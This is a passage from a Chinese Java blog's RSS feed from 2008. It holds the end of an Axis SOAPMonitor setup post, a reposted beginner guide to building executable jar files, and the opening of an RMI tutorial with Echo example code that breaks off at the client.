&nbsp; &lt;parameter name="allowedMethods" value="publishMessage"/&gt;<br />
&nbsp; &lt;parameter name="scope" value="Application"/&gt;<br />
&nbsp; &lt;parameter name="className" value="org.apache.axis.monitor.SOAPMonitorService"/&gt;<br />
&nbsp;&lt;/service&gt;<br />
对于需要被soapmonitor监控的web服务，在其服务设置中添加信息如下<br />
&lt;service name="TestAdding" provider="java:RPC"&gt;<br />
&nbsp; &lt;parameter name="allowedMethods" value="getAdd"/&gt;<br />
&nbsp; &lt;parameter name="className" value="test.TestAdding"/&gt;<br />
&nbsp;&nbsp; &lt;requestFlow&gt;<br />
&nbsp;&nbsp; &nbsp;&lt;handler type="soapmonitor"/&gt;<br />
&nbsp;&nbsp; &lt;/requestFlow&gt;<br />
&nbsp;&nbsp; &lt;responseFlow&gt;<br />
&nbsp;&nbsp; &nbsp;&lt;handler type="soapmonitor"/&gt;<br />
&nbsp;&nbsp; &lt;/responseFlow&gt;<br />
&nbsp;&lt;/service&gt;<br />
<font color="#0000ff">4、运行测试<br />
</font><a href="http://localhost:8080/TestAdding/SOAPMonitor">http://localhost:8080/TestAdding/SOAPMonitor</a>&nbsp;<br />
<img height="600" alt="Test_soapmonitor.bmp" src="http://www.blogjava.net/images/blogjava_net/gabengdou/Test_soapmonitor.bmp" width="800" border="0" /><br />
呵呵，好不容易折腾好了，看来原来的想法还是对的，只不过在配置文件时出了问题。</font> 
<img src ="http://www.blogjava.net/zqli/aggbug/188268.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2008-03-24 16:04 <a href="http://www.blogjava.net/zqli/archive/2008/03/24/188268.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]简单创建jar可执行文件.(入门)</title><link>http://www.blogjava.net/zqli/archive/2008/03/14/186330.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Fri, 14 Mar 2008 08:59:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2008/03/14/186330.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/186330.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2008/03/14/186330.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/186330.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/186330.html</trackback:ping><description><![CDATA[<p>
author:leo 发表于：2004年11月22日， 3:12:58
</p>
<p>
Email:ltdreamboy@yahoo.com.cn
</p>
<dl><dt>
<a href="http://wwwhomes.uni-bielefeld.de/tliu1/oldpages/wiki/JarUse.html#sec1">前言</a>
</dt><dt>
<a href="http://wwwhomes.uni-bielefeld.de/tliu1/oldpages/wiki/JarUse.html#sec2">jar文件的用法.</a>
</dt><dt>
<a href="http://wwwhomes.uni-bielefeld.de/tliu1/oldpages/wiki/JarUse.html#sec3">具体的打包例子</a>
</dt><dt>
<a href="http://wwwhomes.uni-bielefeld.de/tliu1/oldpages/wiki/JarUse.html#sec4">加入第三方类库</a>
</dt><dt>
<a href="http://wwwhomes.uni-bielefeld.de/tliu1/oldpages/wiki/JarUse.html#sec5">其它信息</a>
</dt></dl>
<h2>前言</h2>
曾经看过一篇关于创建jar可执行文件的文章,但是个人认为讲的过于复杂,尤其是其内涉及了package的概念,这样对于新手而言就有点难懂了,
本文主要是给新手指点迷津.错误之处还望高手指出.
<h2>jar文件的用法.</h2>
jar
<p>
用法：jar {ctxu}[vfm0Mi] [jar-文件] [manifest-文件] [-C 目录] 文件名 ...
</p>
<p>
选项：
</p>
<ul>
    <li>-c  创建新的存档
    </li>
    <li>-t  列出存档内容的列表
    </li>
    <li>-x  展开存档中的命名的（或所有的〕文件
    </li>
    <li>-u  更新已存在的存档
    </li>
    <li>-v  生成详细输出到标准输出上
    </li>
    <li>-f  指定存档文件名
    </li>
    <li>-m  包含来自标明文件的标明信息
    </li>
    <li>-0  只存储方式；未用ZIP压缩格式
    </li>
    <li>-M  不产生所有项的清单（manifest〕文件
    </li>
    <li>-i  为指定的jar文件产生索引信息
    </li>
    <li>-C  改变到指定的目录，并且包含下列文件：
    </li>
</ul>
<p>
如果一个文件名是一个目录，它将被递归处理。
</p>
<p>
清单（manifest〕文件名和存档文件名都需要被指定，按'm' 和 'f'标志指定的相同顺序。
</p>
<p>
示例1：将两个class文件存档到一个名为 'classes.jar' 的存档文件中：
</p>
<pre>       jar cvf classes.jar Foo.class Bar.class<br />
</pre>
示例2：用一个存在的清单（manifest）文件 'mymanifest' 将 foo/ 目录下的所有文件存档到一个名为 'classes.jar' 的存档文件中：
<pre>       jar cvfm classes.jar mymanifest -C foo/ .<br />
</pre>
<hr />
<h2>具体的打包例子</h2>
下面我们来看一个简单的归档例子:
<pre>2004-11-21  20:34    &lt;DIR&gt;          images<br />
2004-11-22  02:19             2,519 CellandMaskDialog.class<br />
2004-11-22  02:19               449 CellEx$1.class<br />
2004-11-22  02:19            13,523 CellEx.class<br />
2004-11-22  02:19             4,636 CellExAction.class<br />
2004-11-22  02:19             2,008 CellImagePanel.class<br />
2004-11-22  02:19             1,919 CellMask.class<br />
2004-11-22  02:19             2,009 CellMaskPanel.class<br />
2004-11-22  02:19             2,139 OptionDialog.class<br />
2004-11-22  02:19               592 PngFilter.class<br />
9 File(s)         29,794 bytes<br />
1 Dir(s)   1,102,630,912 bytes free<br />
</pre>
上面是某个目录中的class文件以及一个images子目录.
<pre>&gt;jar -cvf output.jar *.class images<br />
</pre>
<p>
<code>output.jar</code> 为归档后新生成的 <code>.jar</code> 文件， <code>*.class images</code> 为放入归档中的文件。
即是说， 将*.class以及images目录放入一个名为output.jar的文件当中(即归档文件)。如果你有多个目录则:
</p>
<pre>&gt;jar -cvf output.jar *.class images folder1 folder2 foldern<br />
</pre>
上面描述的是非可执行jar文件,如果你用的是Microsoft windows系统,想在Microsoft windows系统中通过双击执行,
那么请看下面:
我们需要写一个文件名为MANIFEST.MF文件:
一个MANIFEST.MF文件的例子:
<pre>Manifest-Version: 1.0<br />
Created-By: 1.4.2_05 (Sun Microsystems Inc.)<br />
Main-Class: CellEx<br />
</pre>
请将注意力放在第3行, <code>CellEx</code> 为你的主执行类,即有包含main函数的类,例如你的主执行类是 <code>MyClass</code> ,则上例中替换 <code>CellEx</code> 为 <code>MyClass</code>.
<p>
好了,所有条件都具备了,现在我们来看看如何创建你的可执行jar文件,为了显得更加清晰,现在我们的目录结构如下:
</p>
<pre>2004-11-22  02:15                91 MANIFEST.MF<br />
2004-11-21  20:34    &lt;DIR&gt;          images<br />
2004-11-22  02:19             2,519 CellandMaskDialog.class<br />
2004-11-22  02:19               449 CellEx$1.class<br />
2004-11-22  02:19            13,523 CellEx.class<br />
2004-11-22  02:19             4,636 CellExAction.class<br />
2004-11-22  02:19             2,008 CellImagePanel.class<br />
2004-11-22  02:19             1,919 CellMask.class<br />
2004-11-22  02:19             2,009 CellMaskPanel.class<br />
2004-11-22  02:19             2,139 OptionDialog.class<br />
2004-11-22  02:19               592 PngFilter.class<br />
10 File(s)         29,794 bytes<br />
1 Dir(s)   1,102,630,912 bytes free<br />
</pre>
注意多了一个我们自己创建的 <strong><em>MANIFEST.MF</em></strong> 文件.
<p>
开始创建可执行jar文件(注意在此我们加了 <code>m</code> 参数,以及 <code>MANIFEST.MF</code> 文件,请注意 <code>MANIFEST.MF</code> 文件的位置,在 <code>output.jar</code> 文件后):
</p>
<pre>&gt;jar -cvfm output.jar MANIFEST.MF *.class images<br />
</pre>
好了现在试试双击你的jar文件,怎么样,可以运行了吧,是不是很令人兴奋呢?:-)
<p>
如果在linux等其它系统,你需要通过命令行:
&gt;java -jar output.jar
来执行.
</p>
<h2>加入第三方类库</h2>
有时候我们的程序用到了第三方的类库，即不是JDK内的类，这是我们该如何把它加入到jar文件中呢？
<p>
下例中我们加入了一个第三方类库
</p>
<pre>Class-Path: lib/jfig2.jar<br />
Main-Class: CellEx<br />
</pre>
即告诉你的程序到 <code>lib</code> 目录下去找被用到的第三方类库。
<h2>其它信息</h2>
<a href="http://java.sun.com/j2se/1.4.2/docs/guide/jar/jar.html">http://java.sun.com/j2se/1.4.2/docs/guide/jar/jar.html</a> JAR File Specification
<a href="http://java.sun.com/j2se/1.4.2/docs/guide/jar/jarGuide.html">http://java.sun.com/j2se/1.4.2/docs/guide/jar/jarGuide.html</a> JAR File Overview
<a href="http://java.sun.com/j2se/1.4.2/docs/tooldocs/windows/jar.html">http://java.sun.com/j2se/1.4.2/docs/tooldocs/windows/jar.html</a> Jar tool reference page for Windows
<img src ="http://www.blogjava.net/zqli/aggbug/186330.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zqli/" target="_blank">放水老倌</a> 2008-03-14 16:59 <a href="http://www.blogjava.net/zqli/archive/2008/03/14/186330.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]Java RPC通信机制之RMI</title><link>http://www.blogjava.net/zqli/archive/2008/03/11/185421.html</link><dc:creator>放水老倌</dc:creator><author>放水老倌</author><pubDate>Tue, 11 Mar 2008 08:13:00 GMT</pubDate><guid>http://www.blogjava.net/zqli/archive/2008/03/11/185421.html</guid><wfw:comment>http://www.blogjava.net/zqli/comments/185421.html</wfw:comment><comments>http://www.blogjava.net/zqli/archive/2008/03/11/185421.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/zqli/comments/commentRss/185421.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zqli/services/trackbacks/185421.html</trackback:ping><description><![CDATA[<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; color: green; font-family: 宋体">大卫注</span><span style="font-size: 10pt; color: green; font-family: 'Courier New'">1</span><span style="font-size: 10pt; color: green; font-family: 宋体">：</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; color: green; font-family: 宋体">写完</span><span style="font-size: 10pt; color: green; font-family: 'Courier New'">CORBA</span><span style="font-size: 10pt; color: green; font-family: 宋体">系列后，本想接着写写其它几种典型的远程通信协议：</span><span style="font-size: 10pt; color: green; font-family: 'Courier New'">RMI</span><span style="font-size: 10pt; color: green; font-family: 宋体">、</span><span style="font-size: 10pt; color: green; font-family: 'Courier New'">XML-RPC</span><span style="font-size: 10pt; color: green; font-family: 宋体">、</span><span style="font-size: 10pt; color: green; font-family: 'Courier New'">SOAP</span><span style="font-size: 10pt; color: green; font-family: 宋体">，但由于工作的原因，加之房子装修等麻烦事，一直没有心情动笔。今天接到装修公司老板电话说开工证要晚几天办下来，要停工</span><span style="font-size: 10pt; color: green; font-family: 'Courier New'">4-5</span><span style="font-size: 10pt; color: green; font-family: 宋体">天，狂怒后突然有了静下心来完成原本想写的东西的想法，既来之，则安之（</span><span style="font-size: 10pt; color: green; font-family: 'Courier New'">i.e.</span><span style="font-size: 10pt; color: green; font-family: 宋体">郁闷啊，郁闷啊，就习惯了</span><span style="font-size: 10pt; color: green; font-family: 'Courier New'">...</span><span style="font-size: 10pt; color: green; font-family: 宋体">）</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; color: green; font-family: 宋体">大卫注</span><span style="font-size: 10pt; color: green; font-family: 'Courier New'">2</span><span style="font-size: 10pt; color: green; font-family: 宋体">：</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; color: green; font-family: 宋体">这个系列基本上是一份笔记，没有加入太多我自己的东西，仅仅记录了自己在使用过程中遇到的问题，及其解决办法。</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-family: 'Courier New'"><font size="3">&nbsp;</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 11pt; font-family: 宋体">在传统的</span><span style="font-size: 11pt; font-family: 'Courier New'">RPC</span><span style="font-size: 11pt; font-family: 宋体">编程接口逐渐淡出人们视线的同时，新的、更便于使用且附加了更多特性的</span><span style="font-size: 11pt; font-family: 'Courier New'">RPC</span><span style="font-size: 11pt; font-family: 宋体">编程接口也不断涌现，</span><span style="font-size: 11pt; font-family: 'Courier New'">CORBA</span><span style="font-size: 11pt; font-family: 宋体">作为分布式对象计算技术的典范，在很长一段时间内极大地吸引了大家的注意，但是由于</span><span style="font-size: 11pt; font-family: 'Courier New'">CORBA</span><span style="font-size: 11pt; font-family: 宋体">规范试图覆盖过多的内容，使得</span><span style="font-size: 11pt; font-family: 'Courier New'">CORBA</span><span style="font-size: 11pt; font-family: 宋体">显得过于复杂，也极大地限制了</span><span style="font-size: 11pt; font-family: 'Courier New'">CORBA</span><span style="font-size: 11pt; font-family: 宋体">的应用范围，本系列将向大家介绍几种轻量级的，更适于在</span><span style="font-size: 11pt; font-family: 'Courier New'">Java</span><span style="font-size: 11pt; font-family: 宋体">开发中使用的</span><span style="font-size: 11pt; font-family: 'Courier New'">RPC</span><span style="font-size: 11pt; font-family: 宋体">编程接口：</span><span style="font-size: 11pt; font-family: 'Courier New'">RMI</span><span style="font-size: 11pt; font-family: 宋体">、</span><span style="font-size: 11pt; font-family: 'Courier New'">XML-RPC</span><span style="font-size: 11pt; font-family: 宋体">、</span><span style="font-size: 11pt; font-family: 'Courier New'">SOAP</span><span style="font-size: 11pt; font-family: 宋体">。</span></p>
<h2 style="margin: 12pt 0in 3pt"><em>RMI<span style="font-family: 宋体">（</span>Remote Method Invocation<span style="font-family: 宋体">）</span></em></h2>
<p style="margin: 0in 0in 0pt"><span style="font-size: 11pt; font-family: 宋体">与本系列将介绍的其它两种</span><span style="font-size: 11pt; font-family: 'Courier New'">RPC</span><span style="font-size: 11pt; font-family: 宋体">编程接口不同，</span><span style="font-size: 11pt; font-family: 'Courier New'">RMI</span><span style="font-size: 11pt; font-family: 宋体">（</span><span style="font-size: 11pt; font-family: 'Courier New'">Remote Method Invocation</span><span style="font-size: 11pt; font-family: 宋体">）显得有些老旧，它是在</span><span style="font-size: 11pt; font-family: 'Courier New'">Java-IDL</span><span style="font-size: 11pt; font-family: 宋体">加入</span><span style="font-size: 11pt; font-family: 'Courier New'">J2SE</span><span style="font-size: 11pt; font-family: 宋体">之前被引入的。</span><span style="font-size: 11pt; font-family: 'Courier New'">RMI</span><span style="font-size: 11pt; font-family: 宋体">开发流程与</span><span style="font-size: 11pt; font-family: 'Courier New'">CORBA</span><span style="font-size: 11pt; font-family: 宋体">如出一辙（从出现的时间上无法确定</span><span style="font-size: 11pt; font-family: 'Courier New'">RMI</span><span style="font-size: 11pt; font-family: 宋体">是否是按照</span><span style="font-size: 11pt; font-family: 'Courier New'">CORBA</span><span style="font-size: 11pt; font-family: 宋体">规范定制的），因此，其开发过程相对比较烦琐，但是由于</span><span style="font-size: 11pt; font-family: 'Courier New'">RMI</span><span style="font-size: 11pt; font-family: 宋体">是</span><span style="font-size: 11pt; font-family: 'Courier New'">EJB</span><span style="font-size: 11pt; font-family: 宋体">的基础，因此，它在</span><span style="font-size: 11pt; font-family: 'Courier New'">Java</span><span style="font-size: 11pt; font-family: 宋体">开发中具有十分重要的地位。</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 11pt; font-family: 宋体">以下是创建远程方法调用的</span><span style="font-size: 11pt; font-family: 'Courier New'">5</span><span style="font-size: 11pt; font-family: 宋体">个步骤：</span></p>
<p style="margin: 0in 0in 0pt 0.25in; text-indent: -0.25in"><span style="font-size: 11pt; font-family: 'Courier New'">1.<span style="font: 7pt 'Times New Roman'; font-size-adjust: none; font-stretch: normal">&nbsp;&nbsp; </span></span><span style="font-size: 11pt; font-family: 宋体">定义一个扩展了</span><span style="font-size: 11pt; font-family: 'Courier New'">Remote</span><span style="font-size: 11pt; font-family: 宋体">接口的接口，该接口中的每一个方法必须声明它将产生一个</span><span style="font-size: 11pt; font-family: 'Courier New'">RemoteException</span><span style="font-size: 11pt; font-family: 宋体">异常；</span></p>
<p style="margin: 0in 0in 0pt 0.25in; text-indent: -0.25in"><span style="font-size: 11pt; font-family: 'Courier New'">2.<span style="font: 7pt 'Times New Roman'; font-size-adjust: none; font-stretch: normal">&nbsp;&nbsp; </span></span><span style="font-size: 11pt; font-family: 宋体">定义一个实现该接口的类；</span></p>
<p style="margin: 0in 0in 0pt 0.25in; text-indent: -0.25in"><span style="font-size: 11pt; font-family: 'Courier New'">3.<span style="font: 7pt 'Times New Roman'; font-size-adjust: none; font-stretch: normal">&nbsp;&nbsp; </span></span><span style="font-size: 11pt; font-family: 宋体">使用</span><span style="font-size: 11pt; font-family: 'Courier New'">rmic</span><span style="font-size: 11pt; font-family: 宋体">程序生成远程实现所需的存根和框架；</span></p>
<p style="margin: 0in 0in 0pt 0.25in; text-indent: -0.25in"><span style="font-size: 11pt; font-family: 'Courier New'">4.<span style="font: 7pt 'Times New Roman'; font-size-adjust: none; font-stretch: normal">&nbsp;&nbsp; </span></span><span style="font-size: 11pt; font-family: 宋体">创建一个客户程序和服务器进行</span><span style="font-size: 11pt; font-family: 'Courier New'">RMI</span><span style="font-size: 11pt; font-family: 宋体">调用；</span></p>
<p style="margin: 0in 0in 0pt 0.25in; text-indent: -0.25in"><span style="font-size: 11pt; font-family: 'Courier New'">5.<span style="font: 7pt 'Times New Roman'; font-size-adjust: none; font-stretch: normal">&nbsp;&nbsp; </span></span><span style="font-size: 11pt; font-family: 宋体">启动</span><span style="font-size: 11pt; font-family: 'Courier New'">rmiregistry</span><span style="font-size: 11pt; font-family: 宋体">并运行自己的服务程序和客户程序。</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 11pt; font-family: 宋体">下面举一个简单、而且被无数次引用的例子：</span><span style="font-size: 11pt; font-family: 'Courier New'">Echo</span><span style="font-size: 11pt; font-family: 宋体">。</span></p>
<h3 style="margin: 12pt 0in 3pt">1<span style="font-family: 宋体">、定义</span>Echo<span style="font-family: 宋体">接口</span></h3>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; color: green; font-family: 'Courier New'">//Echo.java</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; color: green; font-family: 'Courier New'">//The Echo remote interface</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">package demo.rmi;</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">import java.rmi.*;</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">public</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: blue">interface</span> Echo extends Remote {</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; String echo(String msg) throws RemoteException;</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">}</span></p>
<h3 style="margin: 12pt 0in 3pt">2<span style="font-family: 宋体">、实现</span>Echo<span style="font-family: 宋体">接口</span></h3>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; color: green; font-family: 'Courier New'">//EchoServer.java</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; color: green; font-family: 'Courier New'">//The implementation of the Echo remote object</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">package demo.rmi;</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">import java.net.*;</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">import java.rmi.*;</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">import java.rmi.registry.*;</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">import java.rmi.server.*;</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; color: blue; font-family: 'Courier New'">public</span><span style="font-size: 10pt; font-family: 'Courier New'"> <span style="color: blue">class</span> EchoServer</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; extends UnicastRemoteObject</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; implements Echo {</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: green">//默认构件器，也要&#8220;掷&#8221;出</span></span><span style="font-size: 10pt; color: green; font-family: 'Courier New'">RemoteException</span><span style="font-size: 10pt; color: green; font-family: 宋体">违例</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">public</span> EchoServer() throws RemoteException {</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; super();</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">public</span> String echo(String msg) throws RemoteException {</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">return</span> <span style="color: maroon">"Echo: "</span> + msg;</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">public</span> <span style="color: blue">static</span> <span style="color: blue">void</span> main(String [] args) {</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="font-size: 10pt; color: green; font-family: 'Courier New'">/*</span><span style="font-size: 10pt; color: green; font-family: 宋体">创建和安装一个安全管理器，令其支持</span><span style="font-size: 10pt; color: green; font-family: 'Courier New'">RMI</span><span style="font-size: 10pt; color: green; font-family: 宋体">。</span><span style="font-size: 10pt; color: green; font-family: 宋体">作为</span><span style="font-size: 10pt; color: green; font-family: 'Courier New'">Java</span><span style="font-size: 10pt; color: green; font-family: 宋体">开发包的一部分，适用于</span><span style="font-size: 10pt; color: green; font-family: 'Courier New'">RMI</span><span style="font-size: 10pt; color: green; font-family: 宋体">唯一一个是</span><span style="font-size: 10pt; color: green; font-family: 'Courier New'">RMISecurityManager.*/</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.setSecurityManager(<span style="color: blue">new</span> RMISecurityManager());</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: blue">try</span> {</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 宋体">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="color: green">/*创建远程对象的一个或多个实例，下面是</span></span><span style="font-size: 10pt; color: green; font-family: 'Courier New'">EchoServer</span><span style="font-size: 10pt; color: green; font-family: 宋体">对象*/</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EchoServer es = <span style="color: blue">new</span> EchoServer();</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="font-size: 10pt; color: green; font-family: 宋体">/*向</span><span style="font-size: 10pt; color: green; font-family: 'Courier New'">RMI</span><span style="font-size: 10pt; color: green; font-family: 宋体">远程对象注册表注册至少一个远程对象。一个远程对象拥有的方法即可生成指向其他远程对象的句柄，这样，客户到注册表里访问一次，得到第一个远程对象即可.*/</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="font-size: 10pt; font-family: 'Courier New'">Naming.rebind(<span style="color: maroon">"EchoServer"</span>, es);</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(<span style="color: maroon">"Ready to provide echo service..."</span>);</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <span style="color: blue">catch</span> (Exception e) {</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; e.printStackTrace();</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">}</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 11pt; font-family: 宋体">这个实现类使用了</span><span style="font-size: 11pt; font-family: 'Courier New'">UnicastRemoteObject</span><span style="font-size: 11pt; font-family: 宋体">去连接</span><span style="font-size: 11pt; font-family: 'Courier New'">RMI</span><span style="font-size: 11pt; font-family: 宋体">系统。在我们的例子中，我们是直接的从</span><span style="font-size: 11pt; font-family: 'Courier New'">UnicastRemoteObject</span><span style="font-size: 11pt; font-family: 宋体">这个类上继承的，事实上并不一定要这样做，如果一个类不是从</span><span style="font-size: 11pt; font-family: 'Courier New'">UnicastRmeoteObject</span><span style="font-size: 11pt; font-family: 宋体">上继承，那必须使用它的</span><span style="font-size: 11pt; font-family: 'Courier New'">exportObject()</span><span style="font-size: 11pt; font-family: 宋体">方法去连接到</span><span style="font-size: 11pt; font-family: 'Courier New'">RMI</span><span style="font-size: 11pt; font-family: 宋体">。（否则，运行时将被告知无法序列化。）</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 11pt; font-family: 宋体">如果一个类继承自</span><span style="font-size: 11pt; font-family: 'Courier New'">UnicastRemoteObject</span><span style="font-size: 11pt; font-family: 宋体">，那么它必须提供一个构造函数并且声明抛出一个</span><span style="font-size: 11pt; font-family: 'Courier New'">RemoteException</span><span style="font-size: 11pt; font-family: 宋体">对象（否则，会遇到编译错误）。当这个构造函数调用了</span><span style="font-size: 11pt; font-family: 'Courier New'">super()</span><span style="font-size: 11pt; font-family: 宋体">，它就激活</span><span style="font-size: 11pt; font-family: 'Courier New'">UnicastRemoteObject</span><span style="font-size: 11pt; font-family: 宋体">中的代码完成</span><span style="font-size: 11pt; font-family: 'Courier New'">RMI</span><span style="font-size: 11pt; font-family: 宋体">的连接和远程对象的初始化。</span></p>
<h3 style="margin: 12pt 0in 3pt">3<span style="font-family: 宋体">、运行</span>rmic<span style="font-family: 宋体">编译实现类，产生</span>_Stub<span style="font-family: 宋体">类</span></h3>
<p style="margin: 0in 0in 0pt"><span style="font-size: 11pt; font-family: 宋体">在</span><span style="font-size: 11pt; font-family: 'Courier New'">demo.rmi.EchoServer.java</span><span style="font-size: 11pt; font-family: 宋体">上级目录下运行如下命令：</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">rmic demo.rmi.EchoServer</span></p>
<h3 style="margin: 12pt 0in 3pt">4<span style="font-family: 宋体">、编写客户程序</span></h3>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; color: green; font-family: 'Courier New'">//EchoClient.java</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; color: green; font-family: 'Courier New'">//Uses remote object EchoServer</span></p>
<p style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: 'Courier New'">package demo.rmi;</span></p>
